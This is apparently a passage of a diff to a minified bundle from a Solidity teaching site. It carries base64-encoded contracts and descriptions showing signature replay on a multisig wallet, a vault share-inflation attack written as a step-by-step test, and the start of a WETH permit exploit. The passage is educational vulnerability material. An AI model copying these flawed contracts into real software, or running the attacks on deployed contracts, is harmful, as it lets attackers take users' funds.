DI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"PreventSigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBleGVjdXRlZDsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzWzJdIG1lbW9yeSBfb3duZXJzKSBwYXlhYmxlIHsKICAgICAgICBvd25lcnMgPSBfb3duZXJzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lncwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMzMiB0eEhhc2ggPSBnZXRUeEhhc2goX3RvLCBfYW1vdW50LCBfbm9uY2UpOwogICAgICAgIHJlcXVpcmUoIWV4ZWN1dGVkW3R4SGFzaF0sICJ0eCBleGVjdXRlZCIpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIGV4ZWN1dGVkW3R4SGFzaF0gPSB0cnVlOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHhIYXNoKGFkZHJlc3MgX3RvLCB1aW50MjU2IF9hbW91bnQsIHVpbnQyNTYgX25vbmNlKQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfdG8sIF9hbW91bnQsIF9ub25jZSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9jaGVja1NpZ3MoYnl0ZXNbMl0gbWVtb3J5IF9zaWdzLCBieXRlczMyIF90eEhhc2gpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJ5dGVzMzIgZXRoU2lnbmVkSGFzaCA9IF90eEhhc2gudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfc2lncy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHNpZ25lciA9IGV0aFNpZ25lZEhhc2gucmVjb3Zlcihfc2lnc1tpXSk7CiAgICAgICAgICAgIGJvb2wgdmFsaWQgPSBzaWduZXIgPT0gb3duZXJzW2ldOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KfQoKLyoKLy8gb3duZXJzCjB4ZTE5YWVhOTNGNkMxZEJlZjZBMzc3Njg0OGJFMDk5QTdjMzI1M2FjOAoweGZhODU0RkU1MzM5ODQzYjNlOUJmZDg1NTRCMzhCRDA0MkE0MmUzNDAKCi8vIHRvCjB4ZTEwNDIyY2M2MTAzMEM4QjNkQkNEMzZjN2U3ZThFQzNCNTI3RTBBYwovLyBhbW91bnQKMTAwCi8vIG5vbmNlCjAKLy8gdHggaGFzaAoweDEyYTA5NTQ2MmViZmNhMjdkYzRkOTlmZWVmODg1YmZlNTgzNDRmYjZiYjQyYzNjNTJhN2MwZDY4MzZkMTE0NDgKCi8vIHNpZ25hdHVyZXMKMHgxMjBmOGVkOGYyZmE1NTQ5OGYyZWYwYTIyZjI2ZTM5YjliNTFlZDI5Y2M5M2ZlMGVmM2VkMTc1NmY1OGZhZDBjNmViNWExZDZmMzY3MWY4ZDUxNjM2MzlmZGM0MGJiODcyMGRlNmQ4ZjI1MjMwNzdhZDZkMTEzOGE2MDkyM2I4MDFjCjB4YTI0MGE0ODdkZTFlYjViYjk3MWU5MjBjYjA2NzdhNDdkZGM2NDIxZTM4ZjdiMDQ4ZjhhYTg4MjY2YjJjODg0YTEwNDU1YTUyZGM3NmEyMDNhMWE5YTk1MzQxODQ2OWY5ZWVjMmM1OWU4NzIwMWJiYzhkYjBlNGQ5Nzk2OTM1Y2IxYgoqLwo="},{fileName:"SigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbMl0gbWVtb3J5IF9vd25lcnMpIHBheWFibGUgewogICAgICAgIG93bmVycyA9IF9vd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50LCBieXRlc1syXSBtZW1vcnkgX3NpZ3MpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICBieXRlczMyIHR4SGFzaCA9IGdldFR4SGFzaChfdG8sIF9hbW91bnQpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUeEhhc2goYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RvLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncyhieXRlc1syXSBtZW1vcnkgX3NpZ3MsIGJ5dGVzMzIgX3R4SGFzaCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2ldKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9Cg=="}],z0=`

                                  Signing messages off-chain and having a contract that requires that signature before executing a function is a useful technique.

                                  For example this technique is used to:

                                    @@ -10392,7 +10392,7 @@ if the signer's intention was to approve a transaction once.

                                    ); } } -`,D0=({prev:s,next:a})=>r.jsx(u,{version:M0,title:S0,description:x0,html:z0,prev:s,next:a,codes:J0}),E0="0.8.24",Q0="Vault Inflation",T0="An example of vault inflation",U0=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIElFUkMyMCwKICAgIFZhdWx0LAogICAgVG9rZW4KfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3MvdmF1bHQtaW5mbGF0aW9uL1ZhdWx0SW5mbGF0aW9uLnNvbCI7Cgp1aW50OCBjb25zdGFudCBERUNJTUFMUyA9IDE4OwoKY29udHJhY3QgVmF1bHRUZXN0IGlzIFRlc3QgewogICAgVmF1bHQgcHJpdmF0ZSB2YXVsdDsKICAgIFRva2VuIHByaXZhdGUgdG9rZW47CgogICAgYWRkcmVzc1tdIHByaXZhdGUgdXNlcnMgPSBbYWRkcmVzcygxMSksIGFkZHJlc3MoMTIpXTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgdG9rZW4gPSBuZXcgVG9rZW4oKTsKICAgICAgICB2YXVsdCA9IG5ldyBWYXVsdChhZGRyZXNzKHRva2VuKSk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHVzZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHRva2VuLm1pbnQodXNlcnNbaV0sIDEwMDAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgICAgIHZtLnByYW5rKHVzZXJzW2ldKTsKICAgICAgICAgICAgdG9rZW4uYXBwcm92ZShhZGRyZXNzKHZhdWx0KSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBwcmludCgpIHByaXZhdGUgewogICAgICAgIGNvbnNvbGUyLmxvZygidmF1bHQgdG90YWwgc3VwcGx5IiwgdmF1bHQudG90YWxTdXBwbHkoKSk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBiYWxhbmNlIiwgdG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModmF1bHQpKSk7CiAgICAgICAgdWludDI1NiBzaGFyZXMwID0gdmF1bHQuYmFsYW5jZU9mKHVzZXJzWzBdKTsKICAgICAgICB1aW50MjU2IHNoYXJlczEgPSB2YXVsdC5iYWxhbmNlT2YodXNlcnNbMV0pOwogICAgICAgIGNvbnNvbGUyLmxvZygidXNlcnNbMF0gc2hhcmVzIiwgc2hhcmVzMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJ1c2Vyc1sxXSBzaGFyZXMiLCBzaGFyZXMxKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzBdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczApKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzFdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczEpKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICAvLyB1c2Vyc1swXSBkZXBvc2l0IDEKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkZXBvc2l0IC0tLSIpOwogICAgICAgIHZtLnByYW5rKHVzZXJzWzBdKTsKICAgICAgICB2YXVsdC5kZXBvc2l0KDEpOwogICAgICAgIHByaW50KCk7CgogICAgICAgIC8vIHVzZXJzWzBdIGRvbmF0ZSAxMDAKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkb25hdGUgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMF0pOwogICAgICAgIHRva2VuLnRyYW5zZmVyKGFkZHJlc3ModmF1bHQpLCAxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwoKICAgICAgICAvLyB1c2Vyc1sxXSBkZXBvc2l0IDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzFdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMV0pOwogICAgICAgIHZhdWx0LmRlcG9zaXQoMTAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgcHJpbnQoKTsKICAgIH0KfQo="}],_0=`

                                    Vulnerability

                                    +`,D0=({prev:s,next:a})=>r.jsx(A,{version:M0,title:S0,description:x0,html:z0,prev:s,next:a,codes:J0}),E0="0.8.24",Q0="Vault Inflation",T0="An example of vault inflation",U0=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIElFUkMyMCwKICAgIFZhdWx0LAogICAgVG9rZW4KfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3MvdmF1bHQtaW5mbGF0aW9uL1ZhdWx0SW5mbGF0aW9uLnNvbCI7Cgp1aW50OCBjb25zdGFudCBERUNJTUFMUyA9IDE4OwoKY29udHJhY3QgVmF1bHRUZXN0IGlzIFRlc3QgewogICAgVmF1bHQgcHJpdmF0ZSB2YXVsdDsKICAgIFRva2VuIHByaXZhdGUgdG9rZW47CgogICAgYWRkcmVzc1tdIHByaXZhdGUgdXNlcnMgPSBbYWRkcmVzcygxMSksIGFkZHJlc3MoMTIpXTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgdG9rZW4gPSBuZXcgVG9rZW4oKTsKICAgICAgICB2YXVsdCA9IG5ldyBWYXVsdChhZGRyZXNzKHRva2VuKSk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHVzZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHRva2VuLm1pbnQodXNlcnNbaV0sIDEwMDAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgICAgIHZtLnByYW5rKHVzZXJzW2ldKTsKICAgICAgICAgICAgdG9rZW4uYXBwcm92ZShhZGRyZXNzKHZhdWx0KSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBwcmludCgpIHByaXZhdGUgewogICAgICAgIGNvbnNvbGUyLmxvZygidmF1bHQgdG90YWwgc3VwcGx5IiwgdmF1bHQudG90YWxTdXBwbHkoKSk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBiYWxhbmNlIiwgdG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModmF1bHQpKSk7CiAgICAgICAgdWludDI1NiBzaGFyZXMwID0gdmF1bHQuYmFsYW5jZU9mKHVzZXJzWzBdKTsKICAgICAgICB1aW50MjU2IHNoYXJlczEgPSB2YXVsdC5iYWxhbmNlT2YodXNlcnNbMV0pOwogICAgICAgIGNvbnNvbGUyLmxvZygidXNlcnNbMF0gc2hhcmVzIiwgc2hhcmVzMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJ1c2Vyc1sxXSBzaGFyZXMiLCBzaGFyZXMxKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzBdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczApKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzFdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczEpKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICAvLyB1c2Vyc1swXSBkZXBvc2l0IDEKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkZXBvc2l0IC0tLSIpOwogICAgICAgIHZtLnByYW5rKHVzZXJzWzBdKTsKICAgICAgICB2YXVsdC5kZXBvc2l0KDEpOwogICAgICAgIHByaW50KCk7CgogICAgICAgIC8vIHVzZXJzWzBdIGRvbmF0ZSAxMDAKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkb25hdGUgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMF0pOwogICAgICAgIHRva2VuLnRyYW5zZmVyKGFkZHJlc3ModmF1bHQpLCAxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwoKICAgICAgICAvLyB1c2Vyc1sxXSBkZXBvc2l0IDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzFdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMV0pOwogICAgICAgIHZhdWx0LmRlcG9zaXQoMTAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgcHJpbnQoKTsKICAgIH0KfQo="}],_0=`

                                    Vulnerability

                                    Vault shares can be inflated by donating ERC20 token to the vault.

                                    Attacker can exploit this behavior to steal other user's deposits.

                                    Example

                                    @@ -10470,7 +10470,7 @@ if the signer's intention was to approve a transaction once.

                                    print(); } } -`,L0=({prev:s,next:a})=>r.jsx(u,{version:E0,title:Q0,description:T0,html:_0,prev:s,next:a,codes:U0}),O0="0.8.24",P0="WETH Permit",$0="An example of WETH permit hack",q0=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFic3RyYWN0IGNvbnRyYWN0IEVSQzIwIHsKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgYW1vdW50KTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50CiAgICApOwoKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKICAgIHN0cmluZyBwdWJsaWMgc3ltYm9sOwogICAgdWludDggcHVibGljIGltbXV0YWJsZSBkZWNpbWFsczsKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIGFsbG93YW5jZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aXJ0dWFsCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICBhbGxvd2FuY2VbbXNnLnNlbmRlcl1bc3BlbmRlcl0gPSBhbW91bnQ7CiAgICAgICAgZW1pdCBBcHByb3ZhbChtc2cuc2VuZGVyLCBzcGVuZGVyLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgdWludDI1NiBhbGxvd2VkID0gYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdOwogICAgICAgIGlmIChhbGxvd2VkICE9IHR5cGUodWludDI1NikubWF4KSB7CiAgICAgICAgICAgIGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXSA9IGFsbG93ZWQgLSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIGZyb20sIHVpbnQyNTYgYW1vdW50KSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihmcm9tLCBhZGRyZXNzKDApLCBhbW91bnQpOwogICAgfQp9Cg=="},{fileName:"ERC20Bank.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjBQZXJtaXQuc29sIjsKCmNvbnRyYWN0IEVSQzIwQmFuayB7CiAgICBJRVJDMjBQZXJtaXQgcHVibGljIGltbXV0YWJsZSB0b2tlbjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3Rva2VuKSB7CiAgICAgICAgdG9rZW4gPSBJRVJDMjBQZXJtaXQoX3Rva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgewogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0V2l0aFBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0b2tlbi5wZXJtaXQob3duZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudCwgZGVhZGxpbmUsIHYsIHIsIHMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShvd25lciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CiAgICB9Cn0K"},{fileName:"ERC20BankExploitTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHtXRVRIfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3Mvd2V0aC1wZXJtaXQvV0VUSC5zb2wiOwppbXBvcnQge0VSQzIwQmFua30gZnJvbSAiLi4vLi4vLi4vc3JjL2hhY2tzL3dldGgtcGVybWl0L0VSQzIwQmFuay5zb2wiOwoKY29udHJhY3QgRVJDMjBCYW5rRXhwbG9pdF